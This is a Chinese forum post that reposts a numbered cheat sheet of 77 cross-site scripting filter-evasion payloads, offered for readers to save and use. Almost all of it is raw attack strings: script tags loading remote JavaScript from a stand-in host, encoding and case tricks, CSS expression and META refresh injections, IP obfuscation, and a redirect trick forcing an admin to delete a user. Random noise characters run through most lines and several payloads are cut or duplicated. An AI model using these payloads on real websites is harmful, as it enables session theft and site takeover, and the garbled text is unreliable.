貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。3 D$ W9 z3 V' k: U( M! Q5 ~5 f
, @) t1 }6 i5 K# _, W: }4 }/ R (1)普通的XSS JavaScript注入' [+ X! K: g. z+ M1 [+ T8 d$ Z
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
8 |, i' t# [4 T. d6 o; x5 a
$ B' a U+ Q1 v5 Y3 n0 v (2)IMG标签XSS使用JavaScript命令
9 s1 p9 t3 @7 f5 P <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
4 w$ i9 q7 G8 J2 k( b" U2 O
8 L5 N5 U; s8 C0 `# J (3)IMG标签无分号无引号( ]4 x+ Q* P3 g+ J2 o$ ?
<IMG SRC=javascript:alert(‘XSS’)>/ I! m n9 f# K9 G
: I" S% x/ ]4 l- [& o
(4)IMG标签大小写不敏感
- d, ]; K3 S- s! ~ <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
& B, L3 ]5 N1 j- b8 X) g7 c. y Q2 E3 d: Q! g2 T5 C. N
(5)HTML编码(必须有分号)4 I( c4 \% }0 N1 |
<IMG SRC=javascript:alert(“XSS”)>
b: W4 N% u" U2 Y( B% E# p: T$ j/ s! ?3 P7 G- ?5 b
(6)修正缺陷IMG标签3 R6 n$ P: ~4 A) E6 D5 w2 o+ T
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>% B+ E( z {) J% H' P2 l$ W
+ q: t1 {" \! K z6 m0 A2 z3 |
(7)formCharCode标签(计算器): c, m+ f4 N; w2 j! Y1 w
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> G3 l8 r2 u# x8 m6 r" u9 g
0 j+ \ y+ y( q5 T% @) C% L9 g (8)UTF-8的Unicode编码(计算器)
3 P5 `3 P6 L: l" \1 ? <IMG SRC=jav..省略..S')>$ z* C# I8 ~$ S/ @! f
5 ?: f% G9 g/ m$ d3 @1 m
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)# i8 C# t! z, y0 S6 n; \# D
<IMG SRC=jav..省略..S')>
, f9 ]9 n0 \" W' f- l3 W; W7 z. Q+ F9 @
(10)十六进制编码也是没有分号(计算器)1 B5 d" `# q1 @6 K" h' q& Z, U; g# D
<IMG SRC=java..省略..XSS')>, j) U- c, [9 \7 m1 K
7 g q H" H: U/ F
(11)嵌入式标签,将Javascript分开
3 E% y e/ d. B3 G1 X0 E* _ <IMG SRC=”jav ascript:alert(‘XSS’);”>
; N3 _* w. e" w5 q; \( H+ P3 d7 P7 ?9 ?3 x' L5 Z
(12)嵌入式编码标签,将Javascript分开6 A) b' M9 Z1 [+ E m/ U" U, b
<IMG SRC=”jav ascript:alert(‘XSS’);”>
7 M* b+ n+ T: m# r, K/ ^% _
% C3 k, l8 m1 a$ R6 D (13)嵌入式换行符
# r# X; ]; _1 s( u6 B* c <IMG SRC=”jav ascript:alert(‘XSS’);”>
& g/ c1 A @7 v7 `7 u* @. \& f* B1 d# \- _
(14)嵌入式回车+ M h% W2 N+ F6 p! `' u" H9 |
<IMG SRC=”jav ascript:alert(‘XSS’);”>
( m! d5 ~6 T6 ?: {9 Z1 `) w
) [6 ?( v7 [/ `, _. K (15)嵌入式多行注入JavaScript,这是XSS极端的例子& X) D6 X9 l2 C2 f; d8 \, Q, h
<IMG SRC=”javascript:alert(‘XSS‘)”>
) F. U) P! ~3 W4 l
- _' J+ u) D- K D9 t4 @ (16)解决限制字符(要求同页面)
" _1 f0 J9 G! ] o0 B6 U <script>z=’document.’</script>
" E9 s: C# t7 h- Y6 p: q: L <script>z=z+’write(“‘</script>& J8 s% s" t. r g- n
<script>z=z+’<script’</script>6 g( v* [6 q& J |& L
<script>z=z+’ src=ht’</script>- o2 k7 p1 h3 I+ Q0 c K; g5 t
<script>z=z+’tp://ww’</script>
/ x8 i* B8 E/ ?- N7 T) ^ <script>z=z+’w.shell’</script>
$ r) R" j9 I) P) r# j. B' Y' F <script>z=z+’.net/1.’</script>4 J$ S! f8 ~9 I! O& z7 o
<script>z=z+’js></sc’</script>/ d ?# b$ o9 a9 x+ Y ]& H
<script>z=z+’ript>”)’</script>
3 U2 X: g7 ~! x# y6 } <script>eval_r(z)</script>
2 @9 [5 D2 ^) O2 h* W0 W! y( @. e4 A
(17)空字符6 H* ?4 V7 X+ |3 K
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out! f1 ^& w/ a, S( e& G. ^, M4 G
* a( ~1 ~" A L# E( r8 l (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用. V3 y( u+ R9 k
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
6 K8 q/ k& e4 u9 l3 A# C1 B @& c3 \) h: I" E: \' |
(19)Spaces和meta前的IMG标签8 x' e( V/ R, O- F8 g+ N6 p
<IMG SRC=” javascript:alert(‘XSS’);”>
z) |% L8 `5 w8 H9 y
; L. f; L. C5 n) f& U! V (20)Non-alpha-non-digit XSS
8 B( t8 Y! R( {" @% W5 v8 f <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
6 N3 {5 ]7 k/ [' o7 l+ b4 W: @1 f( T4 V# q4 f& `/ Y
(21)Non-alpha-non-digit XSS to 23 B L! C0 V3 Q; j# g* j8 {
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
4 _/ i3 j) _# L) a1 f+ ?
& g8 d1 w$ ~( C (22)Non-alpha-non-digit XSS to 3
/ s3 U% v4 u) A* { <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>+ _% s j( p( y! ?; Q
4 H% g$ ]7 E0 K+ [3 W (23)双开括号9 y k% m. [0 _+ o
<<SCRIPT>alert(“XSS”);//<</SCRIPT>4 e1 v" W6 r: j; t/ U2 V
1 J( p0 J- W+ [ (24)无结束脚本标记(仅火狐等浏览器)
3 w0 Y+ ~% ^" D: `+ v$ S; X <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>* F5 \% b; R* p( j- `0 S$ R+ q
8 j: ` G( Y: Y' g
(25)无结束脚本标记2
) n$ X0 U# M; i* R, a; c( ]" q, c <SCRIPT SRC=//3w.org/XSS/xss.js>
3 n) P/ V" L6 J% b+ u# Z0 y& n# r8 b' U2 _# F% h
(26)半开的HTML/JavaScript XSS( H; d- g( n5 I$ I
<IMG SRC=”javascript:alert(‘XSS’)”; R Y7 _# W5 v) S S. O. t
; _. O- ?' A8 Y+ A (27)双开角括号
* ^' q* `) }5 } T. u <iframe src=http://3w.org/XSS.html <3 H0 I" c/ A" b3 N0 M/ q
4 p) x: z" N% D' S9 |9 I5 C (28)无单引号 双引号 分号
) t U& W0 H: r" o. | <SCRIPT>a=/XSS/
) ]. G- b: O$ s" ~: e4 G alert(a.source)</SCRIPT>7 }' `3 W8 M" F% M2 }
, z# M ~* t9 _& \: Y/ _ (29)换码过滤的JavaScript
6 y a! ^* W( t& U) k3 D) C9 ? \”;alert(‘XSS’);//& v/ @7 f7 r8 K" z! ~. N
8 w4 x5 M4 R5 N O/ r (30)结束Title标签5 E; N7 T7 d. k+ i# g
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT> b g. r" C& f1 }! t
0 [: D+ N. }: n# c+ U& Z
(31)Input Image8 ?% m9 Y0 w! s7 ^9 X c* }
<INPUT SRC=”javascript:alert(‘XSS’);”>
/ `$ S. Y) P# A5 o: W/ m
0 |, s. ?* ?& x+ d (32)BODY Image
2 M- f) {" n& k: _9 M <BODY BACKGROUND=”javascript:alert(‘XSS’)”>+ R4 B4 u! h; o/ B- \' Y8 F
- [/ R6 A6 N* O (33)BODY标签
0 t( }* W) l& ]. S <BODY(‘XSS’)>
$ e8 A4 W/ D0 D+ F6 m1 R4 C
4 K& u% ?6 D z (34)IMG Dynsrc
" o+ L$ `7 p, j7 r8 W <IMG DYNSRC=”javascript:alert(‘XSS’)”>
6 R0 D' z/ Z/ V d
6 r4 V, S7 T; ]1 [) r P8 [: ]! p (35)IMG Lowsrc
* J$ f6 U# O L5 p <IMG LOWSRC=”javascript:alert(‘XSS’)”>2 d; s$ _& r" M
8 [+ [: ~2 k/ f4 W (36)BGSOUND
- S$ B( o# e8 F/ m" ? <BGSOUND SRC=”javascript:alert(‘XSS’);”>
6 ~3 y8 R$ k! c) w* f9 H! w1 |; W5 |3 g ~6 P' v5 o
(37)STYLE sheet8 _% ~8 h0 y# h% k
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
( G/ F8 q. ~( k h; G4 R" B; v2 J0 k* z2 q; H+ x
(38)远程样式表
( F. ]7 Q7 c5 d, c9 k. w8 f+ { <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>5 o% O& B. A1 b
* B+ e+ ?+ ^ `) n$ E J) e
(39)List-style-image(列表式)* k4 u8 |9 ]: \) `
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
) {+ w' q" n4 x& g. f5 Z R; j \2 P9 d
(40)IMG VBscript9 s* ?4 r" I9 K) v: P& a
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS) L, }1 V% g( Y8 R; a& d$ B: H
$ B* }+ o7 z, z
(41)META链接url8 g$ `2 Y, {4 {& X/ Y, U
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>- T. n! @. v- B$ f- {7 Z
/ i; H. f/ e5 T4 g' x( ` (42)Iframe
8 |) ~, p- n4 x1 W$ p. Y <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
' |5 E$ N2 |* o* l
9 J, L B* [! u) H: v" ? (43)Frame% l1 L1 z1 o$ C* X- m, Q' b, S
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
- c- ]/ i* |, w# c7 u
% a4 w2 F5 }3 s% r (44)Table# I! D; y B3 O7 K% H
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>1 G* I' s3 N0 d) ?' G
4 }5 j p6 l6 c& ?3 x (45)TD
& ^9 |3 P3 y9 I6 p/ D W <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
; a( _2 r0 X) [3 K! M# c
' y3 f, Q# H* U' R( m# B5 ?' a (46)DIV background-image7 Q% t5 s z- q: m$ m. o s. [
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>) O3 k% L C) x! g
3 M( ?3 v: l7 e" A4 T( I' M
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)! W) f6 O; s6 i
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>/ b1 b( @2 n4 i2 T1 A; A- R" ?
) D( N. g7 A. ]; e" t (48)DIV expression
( H$ M% a3 L7 Z( T2 e: M <DIV STYLE=”width: expression_r(alert(‘XSS’));”>" C3 c1 S) E0 R5 z/ ]+ \
7 \3 a+ K: `) c$ J5 K. M
(49)STYLE属性分拆表达7 ~" L( |9 c) F. B1 U' n% \
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
% Z) h- q; D3 s5 p5 R! \; H9 t$ ]' f7 t* \2 r/ t9 J8 U
(50)匿名STYLE(组成:开角号和一个字母开头)) P" c4 G0 M2 ?! Y( W
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
0 U1 k/ A# b) w. M
- H: B, c2 }! X6 \1 h5 e" y- v/ ? (51)STYLE background-image
; H8 G1 [/ k' L2 m* y( I <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>" E a4 J" ?; I- n4 X
, s% r$ m3 s; F* y2 b+ d. v
(52)IMG STYLE方式. b0 p8 s L$ \7 S! b" {
exppression(alert(“XSS”))’>
* l! t3 l; {! o: a/ |- _3 }* u; \. Z- K
(53)STYLE background: O! L# x( n ^
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>6 d. M; s9 r$ ]; i" q! R+ ?
2 W' B8 B5 c/ n+ X# i7 Q
(54)BASE% O z5 l4 C- V) x- ?" F* R" G
<BASE HREF=”javascript:alert(‘XSS’);//”>
7 ?5 K0 k+ n8 f$ Y* Z) ]- h) }5 L2 P% F$ c! A* _
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS$ k/ K; I% H# y2 k2 u4 P* q% N* |1 y
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>8 g9 h7 h8 F* t) T
' L9 i8 Z4 Y0 b1 D
(56)在flash中使用ActionScrpt可以混进你XSS的代码( I: h) e: D& z! H% {
a=”get”;5 g) O9 s7 n4 U! ]7 I2 X5 l
b=”URL(\”";. l8 ^, d" F' t& c9 D9 _7 U
c=”javascript:”;! X6 G; V4 L' N5 h9 N
d=”alert(‘XSS’);\”)”;
$ G8 }( @8 f: {7 V eval_r(a+b+c+d);
. P, N; N+ W, }' I) a& Y
" ~2 A2 C# u0 G7 R/ u" Q% H (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
) G3 {$ {1 a* ^ <HTML xmlns:xss>* C: V$ V/ }/ Q, t3 ?
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
+ m7 P" s2 v6 p$ E <xss:xss>XSS</xss:xss>( K/ O: [. m5 J r1 K2 |! `
</HTML># i* W+ Y$ d4 `" c# T! Y0 E+ S
+ T( f9 ^* v; I8 I& A. G; \ (58)如果过滤了你的JS你可以在图片里添加JS代码来利用
; `1 o1 _2 ?3 B! v, ~3 W' x <SCRIPT SRC=””></SCRIPT># {: E' F" w) c& U# C. h& f4 E g2 P
0 o5 A: X' k9 x$ M: U1 r: q; \ (59)IMG嵌入式命令,可执行任意命令
e* C( L. n& G; k; R8 @ <IMG SRC=”http://www.XXX.com/a.php?a=b”>
- l6 l) T! x( @6 _" c! ?' ~7 _8 Y$ q7 f( G4 @% x( q
(60)IMG嵌入式命令(a.jpg在同服务器)) s6 J3 ~4 \" d: P" K. V
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
: q! ]6 ` l" E# c* O# Q- k
9 ]" s2 [, R1 n% Q) U4 I; v! d+ S (61)绕符号过滤/ W# G: l) ^% P B' o6 q
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
& K/ X; ?- U" Y) U c. M- z r4 @9 |2 R$ q; A# W8 ?" K0 R
(62)
* r9 v) N" s5 K) M" k4 m <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
% Y' P1 G8 O2 k) ?* n# H" n! x H4 o4 @! K
(63). _5 u1 o0 u$ t' A7 Y0 x
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
* z- `4 j X% s
: t1 ?% A* p' ^ (64)
7 E* ^0 d. ]& [( p( m) D6 ?7 |, E <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
& D w) p ?- y* F' F8 b1 @
8 | U% o- z1 d4 b2 A4 P* g2 M0 h (65)0 e, ~- W W Z8 Q& y+ Y9 X' x
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>- \$ ~3 C0 _5 v
, k$ @! r1 S1 m' O (66)
% o9 B! Z2 O; f% W9 _ <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>7 T- c0 [3 o* a2 c8 J
; ]+ R- }+ o4 ] H! F
(67)+ O! o2 i8 K2 R, `
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>* i2 M' H& N3 d
/ d' N( X, {" _# P3 b
(68)URL绕行 a# `9 S x& J' U2 N2 W
<A HREF=”http://127.0.0.1/”>XSS</A>2 u% ^+ ^1 D" w$ i2 I
) f8 ]" i, Y$ R% z1 a q; `3 ~ |
(69)URL编码# j$ T9 H: [* Y2 a% w0 X
<A HREF=”http://3w.org”>XSS</A>
& T$ z7 Y3 b, ~
3 O7 E+ }- v1 M# { (70)IP十进制
4 j+ C8 B* }+ ]* l8 j1 Z. M <A HREF=”http://3232235521″>XSS</A>
9 b0 Q, l5 X) i- }! b
& Q H4 I) ?9 R. p! q' Y# r (71)IP十六进制
# s, N! ^. g' ?" \# P m( O <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>/ R5 j7 i f7 {; W7 t
2 ?% T; p" i' N/ F; g. } (72)IP八进制
) g* ]$ |. @& I( g. J7 b# K" d <A HREF=”http://0300.0250.0000.0001″>XSS</A>
/ K" g' t8 g h5 F% v2 G& T0 S* b& N7 n+ I* j. W4 e
(73)混合编码
! O9 l7 l& V' _2 F9 l3 h <A HREF=”h
+ E3 d4 ^/ R, h: ?, W tt p://6 6.000146.0×7.147/”">XSS</A>
' @) e: M* t5 d( w; [+ z7 l9 l$ ~$ a& O; c+ x8 p9 k8 n
(74)节省[http:]
- I- K1 `- U8 u1 k <A HREF=”//www.google.com/”>XSS</A>' S2 [& Y9 j* H i% r9 w
3 G: s! ]: _; Z
(75)节省[www]
+ {) K; p* S5 g9 Q$ q+ o0 R4 O <A HREF=”http://google.com/”>XSS</A>
5 `/ o1 ]" L' X! [6 V7 |1 a. P1 Y' X O: D0 u, ?
(76)绝对点绝对DNS; s" D m+ w: p, x
<A HREF=”http://www.google.com./”>XSS</A>
# i p# R7 i: n9 y( r* f+ \3 {4 \
(77)javascript链接
! {& Q& ?+ M9 Y, V& o% Y! ~ <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |